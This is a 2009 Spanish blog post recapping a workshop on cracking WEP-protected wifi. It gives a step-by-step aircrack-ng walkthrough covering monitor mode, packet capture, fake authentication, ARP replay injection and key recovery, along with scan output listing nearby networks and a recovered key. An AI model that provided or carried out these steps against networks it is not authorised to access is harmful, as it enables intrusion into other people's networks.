9 de maig 2009

Crackeo de redes wifi con WEP

Hoy nos encontramos con la gente de aptitude entre ubunteros en la party que se ha celebrado en el IES Copernic de Terrassa.

Una de las charlas/taller que he asistido ha sido la de crackeo de redes wifi, para esto os dejo este pequeño artículo.

Para crackear wifi con wep vamos a usar lo siguiente (partimos que tenemos una red wifi que permite levantarse en modo monitor).

# airmon-ng start wlan0
esto te crea un interfaz virtual llamado mon0 conectado en modo monitor, necesario para hacer la inyección de paquetes

para bajar este interfaz simplemente escribiremos lo siguiente:
# airmon-ng stop mon0
en principio cuando reiniciamos esta interfaz virtual no se creará y deberemos crearla cada vez que queramos realizar un escaneo.
# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wmaster0 no wireless extensions.

wlan0 IEEE 802.11abgn ESSID:"coperWifi"
Mode:Managed Frequency:2.442 GHz Access Point: 04:21:91:93:72:10
Bit Rate=1 Mb/s Tx-Power=15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality=42/100 Signal level:-76 dBm Noise level=-93 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

vmnet1 no wireless extensions.

vmnet8 no wireless extensions.

mon0 IEEE 802.11abgn Mode:Monitor Frequency:2.442 GHz Tx-Power=15 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

La siguiente fase será ejecutar el analizador de redes inalámbricas airodump-ng

Para ello crearemos un directorio
# mkdir /home/laura/wifi && cd /home/laura/wifi
y iniciaremos el analizador de redes:
# airodump-ng -i mon0 -w captura.cap
con esto podremos ver las wifi disponibles, con -i indicamos la interfaz de captura, con -w el nombre del fichero.

empezará a salir en pantalla una lista de las redes disponibles, si usamos -c podremos definir el canal que queremos analizar.
CH 11 ][ Elapsed: 4 s ][ 2009-05-09 13:19

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:21:91:93:72:0A -85 1 1 0 1 54e. WPA2 TKIP MGT eduroam
04:21:91:93:70:93 -82 0 1 0 1 54 . WPA TKIP PSK coperWifi
00:21:91:93:72:00 -87 1 1 0 7 54e. WPA2 TKIP MGT eduroam
00:01:38:8E:2E:42 -83 2 0 0 4 54 . WEP WEP WLAN_67
04:21:91:93:72:10 -76 3 1 0 7 54e OPN coperWifi
04:21:91:93:72:0A -84 1 0 0 1 54e. OPN coperWifi
00:21:91:93:70:93 -82 0 1 0 1 54e. WPA2 TKIP MGT eduroam
00:15:F2:D0:67:25 -80 1 0 0 11 54 WEP WEP Jazztel Jordi <>
00:80:5A:4B:88:87 -35 8 1051 179 11 54 WEP WEP WLAN_205

BSSID STATION PWR Rate Lost Packets Probes

04:21:91:93:72:10 00:13:46:E9:FF:AC -40 0 - 2 0 1
(not associated) 00:1C:F0:D4:53:A9 -71 0 - 1 0 1
(not associated) 00:12:F0:D4:4B:57 -44 0 - 1 161 45 coperWifi
(not associated) 00:13:CE:4D:B6:E4 -41 0 - 1 187 40 coperWifi
00:80:5A:4B:88:87 00:1C:F0:D4:54:A8 -36 0 - 1 832 1465
El campo que nos interesará será el #Data, y la red wifi con la que estamos haciendo las pruebas es la WLAN_205. Si paramos la captura, podemos seguirla en otro momento sin perder los datos ya capturados.

Pero en un ambiente no hostil, nos encontramos que el numero de paquetes que puede recibir un AP sea bastante bajo, a menos que el usuario tenga la brillante idea de usar algun programa de descarga por wifi.

Para generar tráfico para que lo podamos analizar y encontrar la clave WEP, será necesario ejecutar el aireplay-ng, pero antes deberemos comprobar que nuestra tarjeta de red permite inyectar paquetes.
# aireplay-ng --test -i wlan0 mon0
Si todo es correcto seguimos con el aireplay-ng:
# aireplay-ng -1 0 -e ESSID -a BBSID mon0
-1 el ataque 1
-e ESSID: definimos el nombre de la wifi la cual queremos inyectar los paquetes
-a BBSID: la mac del AP el cual queremos inyectar los paquetes
mon0: nuestra interfaz en modo monitor
Ahora una vez asociados inyectaremos los paquetes:
# aireplay-ng -3 -e ESSID -a BBSID -x 500 mon0
Si vemos que no se inyecta tráfico vamos a cambiar el valor de -x

Una vez capturados los paquetes queda hacer el crack de la clave
# aircrack-ng -x -0 *.cap *.ivs
A continuación nos sale una lista de las wifi capturadas, en nuestro caso será la primera. Dependiendo del numero de paquetes capturados va a tardar mas o menos en crackear la clave, con 52000 paquetes, el crackeo ha sido en unos pocos segundos, además de que la clave no es muy larga:
Aircrack-ng 1.0 rc3


[00:00:00] Tested 11 keys (got 34498 IVs)

KB depth byte(vote)
0 0/ 1 78(51968) 31(42752) AF(42240) A0(41984) 2F(41472) 01(40960) 67(40192)
1 0/ 1 6D(53504) 76(41216) 74(40960) 28(40704) 42(40448) 7E(40448) 61(39936)
2 0/ 3 75(45824) 76(42496) CC(41728) A7(40704) BC(40704) 2A(40448) 53(40448)
3 0/ 1 5B(50688) CB(43008) 70(42496) 53(42240) 80(41472) 22(40960) 39(40960)
4 2/ 4 16(42240) E3(41472) 52(40704) CC(40704) 24(40448) 7B(40192) 4D(39936)

KEY FOUND! [ 78:6D:75:5B:2E ] (ASCII: xmu[. )
Decrypted correctly: 100%
Ahora con la wep resultante la guardamos y la podremos usar cuando la necesitamos.

Actualización: no es posible inyectar paquetes si tu red wifi no lo soporta.

0 comentaris:

Publica un comentari a l'entrada